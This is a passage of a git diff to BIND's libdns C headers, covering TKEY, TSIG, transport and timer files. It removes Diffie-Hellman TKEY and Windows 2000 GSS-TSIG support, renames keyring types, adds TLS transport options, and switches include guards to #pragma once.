- * Clean up all allocated state, and invalidate the structure.
- *
- * Requires:
- *
- *\li	"tcpmsg" be valid.
- *
- * Ensures:
- *
- *\li	"tcpmsg" is invalidated and disassociated with all memory contexts,
- *	sockets, etc.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_TCPMSG_H */
diff --git a/lib/dns/include/dns/time.h b/lib/dns/include/dns/time.h
index b0d710cc64..db86a49ee6 100644
--- a/lib/dns/include/dns/time.h
+++ b/lib/dns/include/dns/time.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_TIME_H
-#define DNS_TIME_H 1
+#pragma once
 
 /*! \file dns/time.h */
 
@@ -67,5 +68,3 @@ dns_time64_from32(uint32_t value);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_TIME_H */
diff --git a/lib/dns/include/dns/timer.h b/lib/dns/include/dns/timer.h
deleted file mode 100644
index 6bbb4ee29b..0000000000
--- a/lib/dns/include/dns/timer.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_TIMER_H
-#define DNS_TIMER_H 1
-
-/*! \file dns/timer.h */
-
-/***
- ***	Imports
- ***/
-
-#include <stdbool.h>
-
-#include <isc/buffer.h>
-#include <isc/lang.h>
-
-ISC_LANG_BEGINDECLS
-
-/***
- ***	Functions
- ***/
-
-isc_result_t
-dns_timer_setidle(isc_timer_t *timer, unsigned int maxtime,
-		  unsigned int idletime, bool purge);
-/*%<
- * Convenience function for setting up simple, one-second-granularity
- * idle timers as used by zone transfers.
- * \brief
- * Set the timer 'timer' to go off after 'idletime' seconds of inactivity,
- * or after 'maxtime' at the very latest.  Events are purged iff
- * 'purge' is true.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_TIMER_H */
diff --git a/lib/dns/include/dns/tkey.h b/lib/dns/include/dns/tkey.h
index 6170d37338..f1998beb1c 100644
--- a/lib/dns/include/dns/tkey.h
+++ b/lib/dns/include/dns/tkey.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_TKEY_H
-#define DNS_TKEY_H 1
+#pragma once
 
 /*! \file dns/tkey.h */
 
@@ -34,11 +35,10 @@ ISC_LANG_BEGINDECLS
 #define DNS_TKEYMODE_DELETE	      5
 
 struct dns_tkeyctx {
-	dst_key_t *	  dhkey;
-	dns_name_t *	  domain;
+	dns_name_t	 *domain;
 	dns_gss_cred_id_t gsscred;
-	isc_mem_t *	  mctx;
-	char *		  gssapi_keytab;
+	isc_mem_t	 *mctx;
+	char		 *gssapi_keytab;
 };
 
 isc_result_t
@@ -69,7 +69,7 @@ dns_tkeyctx_destroy(dns_tkeyctx_t **tctxp);
 
 isc_result_t
 dns_tkey_processquery(dns_message_t *msg, dns_tkeyctx_t *tctx,
-		      dns_tsig_keyring_t *ring);
+		      dns_tsigkeyring_t *ring);
 /*%<
  *	Processes a query containing a TKEY record, adding or deleting TSIG
  *	keys if necessary, and modifies the message to contain the response.
@@ -87,38 +87,11 @@ dns_tkey_processquery(dns_message_t *msg, dns_tkeyctx_t *tctx,
  *\li		other		An error occurred while processing the message
  */
 
-isc_result_t
-dns_tkey_builddhquery(dns_message_t *msg, dst_key_t *key,
-		      const dns_name_t *name, const dns_name_t *algorithm,
-		      isc_buffer_t *nonce, uint32_t lifetime);
-/*%<
- *	Builds a query containing a TKEY that will generate a shared
- *	secret using a Diffie-Hellman key exchange.  The shared key
- *	will be of the specified algorithm (only DNS_TSIG_HMACMD5_NAME
- *	is supported), and will be named either 'name',
- *	'name' + server chosen domain, or random data + server chosen domain
- *	if 'name' == dns_rootname.  If nonce is not NULL, it supplies
- *	random data used in the shared secret computation.  The key is
- *	requested to have the specified lifetime (in seconds)
- *
- *
- *	Requires:
- *\li		'msg' is a valid message
- *\li		'key' is a valid Diffie Hellman dst key
- *\li		'name' is a valid name
- *\li		'algorithm' is a valid name
- *
- *	Returns:
- *\li		#ISC_R_SUCCESS	msg was successfully updated to include the
- *				query to be sent
- *\li		other		an error occurred while building the message
- */
-
 isc_result_t
 dns_tkey_buildgssquery(dns_message_t *msg, const dns_name_t *name,
-		       const dns_name_t *gname, isc_buffer_t *intoken,
-		       uint32_t lifetime, dns_gss_ctx_id_t *context, bool win2k,
-		       isc_mem_t *mctx, char **err_message);
+		       const dns_name_t *gname, uint32_t lifetime,
+		       dns_gss_ctx_id_t *context, isc_mem_t *mctx,
+		       char **err_message);
 /*%<
  *	Builds a query containing a TKEY that will generate a GSSAPI context.
  *	The key is requested to have the specified lifetime (in seconds).
@@ -129,8 +102,6 @@ dns_tkey_buildgssquery(dns_message_t *msg, const dns_name_t *name,
  *\li		'gname'	  is a valid name
  *\li		'context' is a pointer to a valid gss_ctx_id_t
  *			  (which may have the value GSS_C_NO_CONTEXT)
- *\li		'win2k'   when true says to turn on some hacks to work
- *			  with the non-standard GSS-TSIG of Windows 2000
  *
  *	Returns:
  *\li		ISC_R_SUCCESS	msg was successfully updated to include the
@@ -139,80 +110,12 @@ dns_tkey_buildgssquery(dns_message_t *msg, const dns_name_t *name,
  *\li		*err_message	optional error message
  */
 
-isc_result_t
-dns_tkey_builddeletequery(dns_message_t *msg, dns_tsigkey_t *key);
-/*%<
- *	Builds a query containing a TKEY record that will delete the
- *	specified shared secret from the server.
- *
- *	Requires:
- *\li		'msg' is a valid message
- *\li		'key' is a valid TSIG key
- *
- *	Returns:
- *\li		#ISC_R_SUCCESS	msg was successfully updated to include the
- *				query to be sent
- *\li		other		an error occurred while building the message
- */
-
-isc_result_t
-dns_tkey_processdhresponse(dns_message_t *qmsg, dns_message_t *rmsg,
-			   dst_key_t *key, isc_buffer_t *nonce,
-			   dns_tsigkey_t **outkey, dns_tsig_keyring_t *ring);
-/*%<
- *	Processes a response to a query containing a TKEY that was
- *	designed to generate a shared secret using a Diffie-Hellman key
- *	exchange.  If the query was successful, a new shared key
- *	is created and added to the list of shared keys.
- *
- *	Requires:
- *\li		'qmsg' is a valid message (the query)
- *\li		'rmsg' is a valid message (the response)
- *\li		'key' is a valid Diffie Hellman dst key
- *\li		'outkey' is either NULL or a pointer to NULL
- *\li		'ring' is a valid keyring or NULL
- *
- *	Returns:
- *\li		#ISC_R_SUCCESS	the shared key was successfully added
- *\li		#ISC_R_NOTFOUND	an error occurred while looking for a
- *				component of the query or response
- */
-
-isc_result_t
-dns_tkey_processgssresponse(dns_message_t *qmsg, dns_message_t *rmsg,
-			    const dns_name_t *gname, dns_gss_ctx_id_t *context,
-			    isc_buffer_t *outtoken, dns_tsigkey_t **outkey,
-			    dns_tsig_keyring_t *ring, char **err_message);
-/*%<
- * XXX
- */
-
-isc_result_t
-dns_tkey_processdeleteresponse(dns_message_t *qmsg, dns_message_t *rmsg,
-			       dns_tsig_keyring_t *ring);
-/*%<
- *	Processes a response to a query containing a TKEY that was
- *	designed to delete a shared secret.  If the query was successful,
- *	the shared key is deleted from the list of shared keys.
- *
- *	Requires:
- *\li		'qmsg' is a valid message (the query)
- *\li		'rmsg' is a valid message (the response)
- *\li		'ring' is not NULL
- *
- *	Returns:
- *\li		#ISC_R_SUCCESS	the shared key was successfully deleted
- *\li		#ISC_R_NOTFOUND	an error occurred while looking for a
- *				component of the query or response
- */
-
 isc_result_t
 dns_tkey_gssnegotiate(dns_message_t *qmsg, dns_message_t *rmsg,
 		      const dns_name_t *server, dns_gss_ctx_id_t *context,
-		      dns_tsigkey_t **outkey, dns_tsig_keyring_t *ring,
-		      bool win2k, char **err_message);
-
-/*
+		      dns_tsigkey_t **outkey, dns_tsigkeyring_t *ring,
+		      char **err_message);
+/*%<
  *	Client side negotiation of GSS-TSIG.  Process the response
  *	to a TKEY, and establish a TSIG key if negotiation was successful.
  *	Build a response to the input TKEY message.  Can take multiple
@@ -228,8 +131,6 @@ dns_tkey_gssnegotiate(dns_message_t *qmsg, dns_message_t *rmsg,
  *			      if non-NULL must point to NULL
  *		'ring'	  is the keyring in which to establish the key,
  *			      or NULL
- *		'win2k'   when true says to turn on some hacks to work
- *			      with the non-standard GSS-TSIG of Windows 2000
  *
  *	Returns:
  *		ISC_R_SUCCESS	context was successfully established
@@ -238,7 +139,4 @@ dns_tkey_gssnegotiate(dns_message_t *qmsg, dns_message_t *rmsg,
  *		DNS_R_CONTINUE  additional context negotiation is required;
  *					send the new qmsg to the server
  */
-
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_TKEY_H */
diff --git a/lib/dns/include/dns/trace.h b/lib/dns/include/dns/trace.h
new file mode 100644
index 0000000000..e7326917a2
--- /dev/null
+++ b/lib/dns/include/dns/trace.h
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#undef DNS_DB_NODETRACE
+
+#if DNS_DB_NODETRACE
+
+#define DNS__DB_FILELINE   , __func__, __FILE__, __LINE__
+#define DNS__DB_FLARG_PASS , func, file, line
+#define DNS__DB_FLARG                                                         \
+	, const char *func ISC_ATTR_UNUSED, const char *file ISC_ATTR_UNUSED, \
+		unsigned int line ISC_ATTR_UNUSED
+
+#else /* DNS_DB_NODETRACE */
+
+#define DNS__DB_FILELINE
+#define DNS__DB_FLARG
+#define DNS__DB_FLARG_PASS
+
+#endif /* DNS_DB_NODETRACE */
diff --git a/lib/dns/include/dns/transport.h b/lib/dns/include/dns/transport.h
index c4a0e945d7..e6499a97e7 100644
--- a/lib/dns/include/dns/transport.h
+++ b/lib/dns/include/dns/transport.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,7 +13,9 @@
 
 #pragma once
 
-#include <dns/name.h>
+#include <isc/tls.h>
+
+#include <dns/types.h>
 
 typedef enum {
 	DNS_TRANSPORT_NONE = 0,
@@ -27,9 +31,6 @@ typedef enum {
 	DNS_HTTP_POST = 1,
 } dns_http_mode_t;
 
-typedef struct dns_transport	  dns_transport_t;
-typedef struct dns_transport_list dns_transport_list_t;
-
 dns_transport_t *
 dns_transport_new(const dns_name_t *name, dns_transport_type_t type,
 		  dns_transport_list_t *list);
@@ -47,14 +48,56 @@ dns_transport_get_keyfile(dns_transport_t *transport);
 char *
 dns_transport_get_cafile(dns_transport_t *transport);
 char *
-dns_transport_get_hostname(dns_transport_t *transport);
+dns_transport_get_remote_hostname(dns_transport_t *transport);
 char *
 dns_transport_get_endpoint(dns_transport_t *transport);
 dns_http_mode_t
 dns_transport_get_mode(dns_transport_t *transport);
+char *
+dns_transport_get_ciphers(dns_transport_t *transport);
+char *
+dns_transport_get_tlsname(dns_transport_t *transport);
+uint32_t
+dns_transport_get_tls_versions(const dns_transport_t *transport);
+bool
+dns_transport_get_prefer_server_ciphers(const dns_transport_t *transport,
+					bool		      *preferp);
+bool
+dns_transport_get_always_verify_remote(dns_transport_t *transport);
 /*%<
  * Getter functions: return the type, cert file, key file, CA file,
- * hostname, HTTP endpoint, or HTTP mode (GET or POST) for 'transport'.
+ * hostname, HTTP endpoint, HTTP mode (GET or POST), ciphers, TLS name,
+ * TLS version, server ciphers preference mode, and always enabling
+ * authentication mode for 'transport'.
+ *
+ * dns_transport_get_prefer_server_ciphers() returns 'true' is value
+ * was set, 'false' otherwise. The actual value is returned via
+ * 'preferp' pointer.
+ */
+
+isc_result_t
+dns_transport_get_tlsctx(dns_transport_t *transport, const isc_sockaddr_t *peer,
+			 isc_tlsctx_cache_t *tlsctx_cache, isc_mem_t *mctx,
+			 isc_tlsctx_t			   **pctx,
+			 isc_tlsctx_client_session_cache_t **psess_cache);
+/*%<
+ * Get the transport's TLS Context and the TLS Client Session Cache associated
+ * with it.
+ *
+ * When neither the TLS hostname, nor the TLS certificates authorities (CA)
+ * file are set for the 'transport', then Opportunistic TLS (no authentication
+ * of the remote peer) will be used, unless the 'always_verify_remote' mode is
+ * enabled on the 'transport', in which case the remote peer will be
+ * authenticated by its IP address using the system's default certificates
+ * authorities store.
+ *
+ * Requires:
+ *\li	'transport' is a valid, 'DNS_TRANSPORT_TLS' type transport.
+ *\li	'peer' is not NULL.
+ *\li	'tlsctx_cache' is not NULL.
+ *\li	'mctx' is not NULL.
+ *\li	'pctx' is not NULL and '*pctx' is NULL.
+ *\li	'psess_cache' is not NULL and '*psess_cache' is NULL.
  */
 
 void
@@ -64,14 +107,31 @@ dns_transport_set_keyfile(dns_transport_t *transport, const char *keyfile);
 void
 dns_transport_set_cafile(dns_transport_t *transport, const char *cafile);
 void
-dns_transport_set_hostname(dns_transport_t *transport, const char *hostname);
+dns_transport_set_remote_hostname(dns_transport_t *transport,
+				  const char	  *hostname);
 void
 dns_transport_set_endpoint(dns_transport_t *transport, const char *endpoint);
 void
 dns_transport_set_mode(dns_transport_t *transport, dns_http_mode_t mode);
+void
+dns_transport_set_ciphers(dns_transport_t *transport, const char *ciphers);
+void
+dns_transport_set_tlsname(dns_transport_t *transport, const char *tlsname);
+
+void
+dns_transport_set_tls_versions(dns_transport_t *transport,
+			       const uint32_t	tls_versions);
+void
+dns_transport_set_prefer_server_ciphers(dns_transport_t *transport,
+					const bool	 prefer);
+void
+dns_transport_set_always_verify_remote(dns_transport_t *transport,
+				       const bool	always_verify_remote);
 /*%<
  * Setter functions: set the type, cert file, key file, CA file,
- * hostname, HTTP endpoint, or HTTP mode (GET or POST) for 'transport'.
+ * hostname, HTTP endpoint, HTTP mode (GET or POST), ciphers, TLS name,
+ * TLS version, server ciphers preference mode, and always enabling
+ * authentication mode for 'transport'.
  *
  * Requires:
  *\li	'transport' is valid.
@@ -119,7 +179,7 @@ dns_transport_list_new(isc_mem_t *mctx);
  */
 
 void
-dns_transport_list_attach(dns_transport_list_t * source,
+dns_transport_list_attach(dns_transport_list_t	*source,
 			  dns_transport_list_t **targetp);
 /*%<
  * Attach to a transport list.
diff --git a/lib/dns/include/dns/tsec.h b/lib/dns/include/dns/tsec.h
deleted file mode 100644
index 13519d31f9..0000000000
--- a/lib/dns/include/dns/tsec.h
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_TSEC_H
-#define DNS_TSEC_H 1
-
-/*****
-***** Module Info
-*****/
-
-/*! \file
- *
- * \brief
- * The TSEC (Transaction Security) module is an abstraction layer for managing
- * DNS transaction mechanisms such as TSIG or SIG(0).  A TSEC structure is a
- * mechanism-independent object containing key information specific to the
- * mechanism, and is expected to be used as an argument to other modules
- * that use transaction security in a mechanism-independent manner.
- *
- * MP:
- *\li	A TSEC structure is expected to be thread-specific.  No inter-thread
- *	synchronization is ensured in multiple access to a single TSEC
- *	structure.
- *
- * Resources:
- *\li	TBS
- *
- * Security:
- *\li	This module does not handle any low-level data directly, and so no
- *	security issue specific to this module is anticipated.
- */
-
-#include <dns/types.h>
-
-#include <dst/dst.h>
-
-ISC_LANG_BEGINDECLS
-
-/***
- *** Types
- ***/
-
-/*%
- * Transaction security types.
- */
-typedef enum {
-	dns_tsectype_none,
-	dns_tsectype_tsig,
-	dns_tsectype_sig0
-} dns_tsectype_t;
-
-isc_result_t
-dns_tsec_create(isc_mem_t *mctx, dns_tsectype_t type, dst_key_t *key,
-		dns_tsec_t **tsecp);
-/*%<
- * Create a TSEC structure and stores a type-dependent key structure in it.
- * For a TSIG key (type is dns_tsectype_tsig), dns_tsec_create() creates a
- * TSIG key structure from '*key' and keeps it in the structure.  For other
- * types, this function simply retains '*key' in the structure.  In either
- * case, the ownership of '*key' is transferred to the TSEC module; the caller
- * must not modify or destroy it after the call to dns_tsec_create().
- *
- * Requires:
- *
- *\li	'mctx' is a valid memory context.
- *
- *\li	'type' is a valid value of dns_tsectype_t (see above).
- *
- *\li	'key' is a valid key.
- *
- *\li	tsecp != NULL && *tsecp == NULL.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS				On success.
- *
- *\li	Anything else				Failure.
- */
-
-void
-dns_tsec_destroy(dns_tsec_t **tsecp);
-/*%<
- * Destroy the TSEC structure.  The stored key is also detached or destroyed.
- *
- * Requires
- *
- *\li	'*tsecp' is a valid TSEC structure.
- *
- * Ensures
- *
- *\li	*tsecp == NULL.
- *
- */
-
-dns_tsectype_t
-dns_tsec_gettype(dns_tsec_t *tsec);
-/*%<
- * Return the TSEC type of '*tsec'.
- *
- * Requires
- *
- *\li	'tsec' is a valid TSEC structure.
- *
- */
-
-void
-dns_tsec_getkey(dns_tsec_t *tsec, void *keyp);
-/*%<
- * Return the TSEC key of '*tsec' in '*keyp'.
- *
- * Requires
- *
- *\li	keyp != NULL
- *
- * Ensures
- *
- *\li	*tsecp points to a valid key structure depending on the TSEC type.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_TSEC_H */
diff --git a/lib/dns/include/dns/tsig.h b/lib/dns/include/dns/tsig.h
index 6b82b086f1..c4bf46a622 100644
--- a/lib/dns/include/dns/tsig.h
+++ b/lib/dns/include/dns/tsig.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,43 +11,44 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_TSIG_H
-#define DNS_TSIG_H 1
+#pragma once
 
 /*! \file dns/tsig.h */
 
 #include <stdbool.h>
 
+#include <isc/hashmap.h>
 #include <isc/lang.h>
 #include <isc/refcount.h>
 #include <isc/rwlock.h>
 #include <isc/stdio.h>
 #include <isc/stdtime.h>
 
+#include <dns/fixedname.h>
 #include <dns/name.h>
 #include <dns/types.h>
 
 #include <dst/dst.h>
-#include <pk11/site.h>
+
+/* Define to 1 for detailed reference tracing */
+#undef DNS_TSIG_TRACE
 
 /*
  * Algorithms.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_hmacmd5_name;
+extern const dns_name_t *dns_tsig_hmacmd5_name;
 #define DNS_TSIG_HMACMD5_NAME dns_tsig_hmacmd5_name
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_gssapi_name;
+extern const dns_name_t *dns_tsig_gssapi_name;
 #define DNS_TSIG_GSSAPI_NAME dns_tsig_gssapi_name
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_gssapims_name;
-#define DNS_TSIG_GSSAPIMS_NAME dns_tsig_gssapims_name
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_hmacsha1_name;
+extern const dns_name_t *dns_tsig_hmacsha1_name;
 #define DNS_TSIG_HMACSHA1_NAME dns_tsig_hmacsha1_name
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_hmacsha224_name;
+extern const dns_name_t *dns_tsig_hmacsha224_name;
 #define DNS_TSIG_HMACSHA224_NAME dns_tsig_hmacsha224_name
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_hmacsha256_name;
+extern const dns_name_t *dns_tsig_hmacsha256_name;
 #define DNS_TSIG_HMACSHA256_NAME dns_tsig_hmacsha256_name
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_hmacsha384_name;
+extern const dns_name_t *dns_tsig_hmacsha384_name;
 #define DNS_TSIG_HMACSHA384_NAME dns_tsig_hmacsha384_name
-LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_hmacsha512_name;
+extern const dns_name_t *dns_tsig_hmacsha512_name;
 #define DNS_TSIG_HMACSHA512_NAME dns_tsig_hmacsha512_name
 
 /*%
@@ -53,34 +56,43 @@ LIBDNS_EXTERNAL_DATA extern const dns_name_t *dns_tsig_hmacsha512_name;
  */
 #define DNS_TSIG_FUDGE 300
 
-struct dns_tsig_keyring {
-	dns_rbt_t *  keys;
-	unsigned int writecount;
-	isc_rwlock_t lock;
-	isc_mem_t *  mctx;
+/*%
+ * Default maximum quota for generated keys.
+ */
+#ifndef DNS_TSIG_MAXGENERATEDKEYS
+#define DNS_TSIG_MAXGENERATEDKEYS 4096
+#endif /* ifndef DNS_TSIG_MAXGENERATEDKEYS */
+
+struct dns_tsigkeyring {
+	unsigned int   magic; /*%< Magic number. */
+	isc_hashmap_t *keys;
+	unsigned int   writecount;
+	isc_rwlock_t   lock;
+	isc_mem_t     *mctx;
 	/*
 	 * LRU list of generated key along with a count of the keys on the
 	 * list and a maximum size.
 	 */
 	unsigned int generated;
-	unsigned int maxgenerated;
 	ISC_LIST(dns_tsigkey_t) lru;
 	isc_refcount_t references;
 };
 
 struct dns_tsigkey {
 	/* Unlocked */
-	unsigned int	    magic; /*%< Magic number. */
-	isc_mem_t *	    mctx;
-	dst_key_t *	    key;       /*%< Key */
-	dns_name_t	    name;      /*%< Key name */
-	const dns_name_t *  algorithm; /*%< Algorithm name */
-	dns_name_t *	    creator;   /*%< name that created secret */
-	bool		    generated; /*%< was this generated? */
-	isc_stdtime_t	    inception; /*%< start of validity period */
-	isc_stdtime_t	    expire;    /*%< end of validity period */
-	dns_tsig_keyring_t *ring;      /*%< the enclosing keyring */
-	isc_refcount_t	    refs;      /*%< reference counter */
+	unsigned int	   magic; /*%< Magic number. */
+	isc_mem_t	  *mctx;
+	dst_key_t	  *key; /*%< Key */
+	dns_fixedname_t	   fn;
+	dns_name_t	  *name;	  /*%< Key name */
+	const dns_name_t  *algorithm;	  /*%< Algorithm name */
+	dns_name_t	  *creator;	  /*%< name that created secret */
+	bool		   generated : 1; /*%< key was auto-generated */
+	bool		   restored  : 1; /*%< key was restored at startup */
+	isc_stdtime_t	   inception;	  /*%< start of validity period */
+	isc_stdtime_t	   expire;	  /*%< end of validity period */
+	dns_tsigkeyring_t *ring;	  /*%< the enclosing keyring */
+	isc_refcount_t	   references;	  /*%< reference counter */
 	ISC_LINK(dns_tsigkey_t) link;
 };
 
@@ -100,30 +112,40 @@ dns_tsigkey_identity(const dns_tsigkey_t *tsigkey);
  */
 
 isc_result_t
-dns_tsigkey_create(const dns_name_t *name, const dns_name_t *algorithm,
-		   unsigned char *secret, int length, bool generated,
-		   const dns_name_t *creator, isc_stdtime_t inception,
-		   isc_stdtime_t expire, isc_mem_t *mctx,
-		   dns_tsig_keyring_t *ring, dns_tsigkey_t **key);
+dns_tsigkey_create(const dns_name_t *name, dst_algorithm_t algorithm,
+		   unsigned char *secret, int length, isc_mem_t *mctx,
+		   dns_tsigkey_t **key);
 
 isc_result_t
-dns_tsigkey_createfromkey(const dns_name_t *name, const dns_name_t *algorithm,
-			  dst_key_t *dstkey, bool generated,
+dns_tsigkey_createfromkey(const dns_name_t *name, dst_algorithm_t algorithm,
+			  dst_key_t *dstkey, bool generated, bool restored,
 			  const dns_name_t *creator, isc_stdtime_t inception,
 			  isc_stdtime_t expire, isc_mem_t *mctx,
-			  dns_tsig_keyring_t *ring, dns_tsigkey_t **key);
+			  dns_tsigkey_t **key);
 /*%<
- *	Creates a tsig key structure and saves it in the keyring.  If key is
- *	not NULL, *key will contain a copy of the key.  The keys validity
- *	period is specified by (inception, expire), and will not expire if
- *	inception == expire.  If the key was generated, the creating identity,
- *	if there is one, should be in the creator parameter.  Specifying an
- *	unimplemented algorithm will cause failure only if dstkey != NULL; this
- *	allows a transient key with an invalid algorithm to exist long enough
- *	to generate a BADKEY response.
+ *	Creates a tsig key structure and stores it in *keyp.
+ *	The key's validity period is specified by (inception, expire),
+ *	and will not expire if inception == expire.
  *
- *	If dns_tsigkey_createfromkey is successful a new reference to 'dstkey'
- *	will have been made.
+ *	If generated is true (meaning the key was generated
+ *	via TKEY negotation), the creating identity (if any), should
+ *	be specified in the creator parameter.
+ *
+ *	If restored is true, this indicates the key was restored from
+ *	a dump file created by dns_tsigkeyring_dumpanddetach(). This is
+ *	used only for logging purposes and doesn't affect the key any
+ *	other way.
+ *
+ *	Specifying an unimplemented algorithm will cause failure only if
+ *	dstkey != NULL; this allows a transient key with an invalid
+ *	algorithm to exist long enough to generate a BADKEY response.
+ *
+ *	If dns_tsigkey_createfromkey() is successful, a new reference to
+ *	'dstkey' will have been made.
+ *
+ *	dns_tsigkey_create() is a simplified interface that omits
+ *	dstkey, generated, restored, inception, and expired (defaulting
+ *	to NULL, false, false, 0, and 0).
  *
  *	Requires:
  *\li		'name' is a valid dns_name_t
@@ -144,31 +166,7 @@ dns_tsigkey_createfromkey(const dns_name_t *name, const dns_name_t *algorithm,
  */
 
 void
-dns_tsigkey_attach(dns_tsigkey_t *source, dns_tsigkey_t **targetp);
-/*%<
- *	Attach '*targetp' to 'source'.
- *
- *	Requires:
- *\li		'key' is a valid TSIG key
- *
- *	Ensures:
- *\li		*targetp is attached to source.
- */
-
-void
-dns_tsigkey_detach(dns_tsigkey_t **keyp);
-/*%<
- *	Detaches from the tsig key structure pointed to by '*key'.
- *
- *	Requires:
- *\li		'keyp' is not NULL and '*keyp' is a valid TSIG key
- *
- *	Ensures:
- *\li		'keyp' points to NULL
- */
-
-void
-dns_tsigkey_setdeleted(dns_tsigkey_t *key);
+dns_tsigkey_delete(dns_tsigkey_t *key);
 /*%<
  *	Prevents this key from being used again.  It will be deleted when
  *	no references exist.
@@ -197,7 +195,7 @@ dns_tsig_sign(dns_message_t *msg);
 
 isc_result_t
 dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
-		dns_tsig_keyring_t *ring1, dns_tsig_keyring_t *ring2);
+		dns_tsigkeyring_t *ring1, dns_tsigkeyring_t *ring2);
 /*%<
  *	Verifies the TSIG record in this message
  *
@@ -225,15 +223,15 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
  */
 
 isc_result_t
-dns_tsigkey_find(dns_tsigkey_t **tsigkey, const dns_name_t *name,
-		 const dns_name_t *algorithm, dns_tsig_keyring_t *ring);
+dns_tsigkey_find(dns_tsigkey_t **tsigkeyp, const dns_name_t *name,
+		 const dns_name_t *algorithm, dns_tsigkeyring_t *ring);
 /*%<
  *	Returns the TSIG key corresponding to this name and (possibly)
  *	algorithm.  Also increments the key's reference counter.
  *
  *	Requires:
- *\li		'tsigkey' is not NULL
- *\li		'*tsigkey' is NULL
+ *\li		'tsigkeyp' is not NULL
+ *\li		'*tsigkeyp' is NULL
  *\li		'name' is a valid dns_name_t
  *\li		'algorithm' is a valid dns_name_t or NULL
  *\li		'ring' is a valid keyring
@@ -243,53 +241,73 @@ dns_tsigkey_find(dns_tsigkey_t **tsigkey, const dns_name_t *name,
  *\li		#ISC_R_NOTFOUND
  */
 
-isc_result_t
-dns_tsigkeyring_create(isc_mem_t *mctx, dns_tsig_keyring_t **ringp);
+void
+dns_tsigkeyring_create(isc_mem_t *mctx, dns_tsigkeyring_t **ringp);
 /*%<
  *	Create an empty TSIG key ring.
  *
  *	Requires:
  *\li		'mctx' is not NULL
  *\li		'ringp' is not NULL, and '*ringp' is NULL
- *
- *	Returns:
- *\li		#ISC_R_SUCCESS
- *\li		#ISC_R_NOMEMORY
  */
 
 isc_result_t
-dns_tsigkeyring_add(dns_tsig_keyring_t *ring, const dns_name_t *name,
-		    dns_tsigkey_t *tkey);
+dns_tsigkeyring_add(dns_tsigkeyring_t *ring, dns_tsigkey_t *tkey);
 /*%<
  *      Place a TSIG key onto a key ring.
  *
+ *      If the key is generated, it is also placed into an LRU queue.
+ *      There is a maximum quota of 4096 generated keys per keyring;
+ *      if this quota is exceeded, the oldest key in the LRU queue is
+ *      deleted.
+ *
  *	Requires:
- *\li		'ring', 'name' and 'tkey' are not NULL
+ *\li		'name' and 'ring' are not NULL
+ *\li		'tkey' is a valid TSIG key, which has not been
+ *		       added to any other keyrings
  *
  *	Returns:
  *\li		#ISC_R_SUCCESS
  *\li		Any other value indicates failure.
  */
 
-void
-dns_tsigkeyring_attach(dns_tsig_keyring_t *source, dns_tsig_keyring_t **target);
-
-void
-dns_tsigkeyring_detach(dns_tsig_keyring_t **ringp);
-
 isc_result_t
